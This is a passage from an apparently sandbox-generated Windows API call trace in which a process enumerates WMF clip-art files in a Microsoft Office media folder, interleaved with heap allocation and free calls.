RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.670] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aadf500, ftCreationTime.dwHighDateTime=0x1bddca5, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2aadf500, ftLastWriteTime.dwHighDateTime=0x1bddca5, nFileSizeHigh=0x0, nFileSizeLow=0x213c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18220_.WMF", cAlternateFileName="")) returned 1 [0073.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.670] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.670] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa641f0 [0073.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa84798 [0073.670] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.670] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0346a00, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa0346a00, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x72c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18221_.WMF", cAlternateFileName="")) returned 1 [0073.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.670] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.670] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64210 [0073.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa848a0 [0073.670] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.670] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5a99400, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb5a99400, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x756, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18222_.WMF", cAlternateFileName="")) returned 1 [0073.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.671] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.671] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64230 [0073.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa849a8 [0073.671] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.671] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ee4c100, ftCreationTime.dwHighDateTime=0x1bddb92, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ee4c100, ftLastWriteTime.dwHighDateTime=0x1bddb92, nFileSizeHigh=0x0, nFileSizeLow=0xc5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18223_.WMF", cAlternateFileName="")) returned 1 [0073.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.671] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.671] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64250 [0073.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa84ab0 [0073.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x3000) returned 0xa88478 [0073.671] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94c50) returned 1 [0073.671] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.671] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9730600, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa9730600, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x680, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18224_.WMF", cAlternateFileName="")) returned 1 [0073.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.672] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.672] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.672] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.672] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.672] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64270 [0073.672] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2357bf00, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2357bf00, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18225_.WMF", cAlternateFileName="")) returned 1 [0073.672] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d10e600, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d10e600, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x7b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18226_.WMF", cAlternateFileName="")) returned 1 [0073.672] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e4fd00, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x83e4fd00, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18227_.WMF", cAlternateFileName="")) returned 1 [0073.672] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb337000, ftCreationTime.dwHighDateTime=0x1bdcf22, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb337000, ftLastWriteTime.dwHighDateTime=0x1bdcf22, nFileSizeHigh=0x0, nFileSizeLow=0x884, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18228_.WMF", cAlternateFileName="")) returned 1 [0073.672] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3405b200, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3405b200, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18229_.WMF", cAlternateFileName="")) returned 1 [0073.672] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef2cd000, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xef2cd000, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0x724, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18230_.WMF", cAlternateFileName="")) returned 1 [0073.672] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfa3500, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcfa3500, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x67c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18231_.WMF", cAlternateFileName="")) returned 1 [0073.672] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4763d200, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4763d200, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x66c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18232_.WMF", cAlternateFileName="")) returned 1 [0073.672] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a76a200, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5a76a200, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18233_.WMF", cAlternateFileName="")) returned 1 [0073.672] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eba9f00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6eba9f00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x754, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18234_.WMF", cAlternateFileName="")) returned 1 [0073.672] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a25aa00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8a25aa00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18235_.WMF", cAlternateFileName="")) returned 1 [0073.672] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f9ad400, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9f9ad400, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x6d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18236_.WMF", cAlternateFileName="")) returned 1 [0073.672] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29966d00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29966d00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x5fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18237_.WMF", cAlternateFileName="")) returned 1 [0073.672] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb50ffe00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb50ffe00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18238_.WMF", cAlternateFileName="")) returned 1 [0073.672] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9086900, ftCreationTime.dwHighDateTime=0x1bddcaa, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd9086900, ftLastWriteTime.dwHighDateTime=0x1bddcaa, nFileSizeHigh=0x0, nFileSizeLow=0x93c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18239_.WMF", cAlternateFileName="")) returned 1 [0073.673] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2305400, ftCreationTime.dwHighDateTime=0x1bddca6, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa2305400, ftLastWriteTime.dwHighDateTime=0x1bddca6, nFileSizeHigh=0x0, nFileSizeLow=0xac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18241_.WMF", cAlternateFileName="")) returned 1 [0073.673] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a42b600, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6a42b600, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18242_.WMF", cAlternateFileName="")) returned 1 [0073.673] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fb7e000, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fb7e000, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18243_.WMF", cAlternateFileName="")) returned 1 [0073.673] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d151300, ftCreationTime.dwHighDateTime=0x1bdcf22, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1d151300, ftLastWriteTime.dwHighDateTime=0x1bdcf22, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18244_.WMF", cAlternateFileName="")) returned 1 [0073.673] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3027e300, ftCreationTime.dwHighDateTime=0x1bdcf22, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3027e300, ftLastWriteTime.dwHighDateTime=0x1bdcf22, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18245_.WMF", cAlternateFileName="")) returned 1 [0073.673] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc4feb00, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcc4feb00, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18246_.WMF", cAlternateFileName="")) returned 1 [0073.673] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba237c00, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xba237c00, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xd68, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18247_.WMF", cAlternateFileName="")) returned 1 [0073.673] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd364c00, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcd364c00, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xd70, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18248_.WMF", cAlternateFileName="")) returned 1 [0073.673] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2f4300, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3b2f4300, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x8a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18249_.WMF", cAlternateFileName="")) returned 1 [0073.673] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf17ef00, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf17ef00, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x142e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18250_.WMF", cAlternateFileName="")) returned 1 [0073.673] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefc86500, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xefc86500, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18251_.WMF", cAlternateFileName="")) returned 1 [0073.673] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8ec2300, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe8ec2300, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x756, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18252_.WMF", cAlternateFileName="")) returned 1 [0073.673] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb803b00, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb803b00, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x6ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18253_.WMF", cAlternateFileName="")) returned 1 [0073.673] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bca4100, ftCreationTime.dwHighDateTime=0x1bddcab, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1bca4100, ftLastWriteTime.dwHighDateTime=0x1bddcab, nFileSizeHigh=0x0, nFileSizeLow=0x796, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18254_.WMF", cAlternateFileName="")) returned 1 [0073.673] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55feb900, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x55feb900, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18255_.WMF", cAlternateFileName="")) returned 1 [0073.673] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7a21700, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd7a21700, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x8ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18256_.WMF", cAlternateFileName="")) returned 1 [0073.673] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd83b2900, ftCreationTime.dwHighDateTime=0x1bdfe4b, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd83b2900, ftLastWriteTime.dwHighDateTime=0x1bdfe4b, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18257_.WMF", cAlternateFileName="")) returned 1 [0073.673] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd83b2900, ftCreationTime.dwHighDateTime=0x1bdfe4b, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd83b2900, ftLastWriteTime.dwHighDateTime=0x1bdfe4b, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18257_.WMF", cAlternateFileName="")) returned 0 [0073.673] GetLastError () returned 0x12 [0073.673] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0073.674] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0073.674] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.674] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, 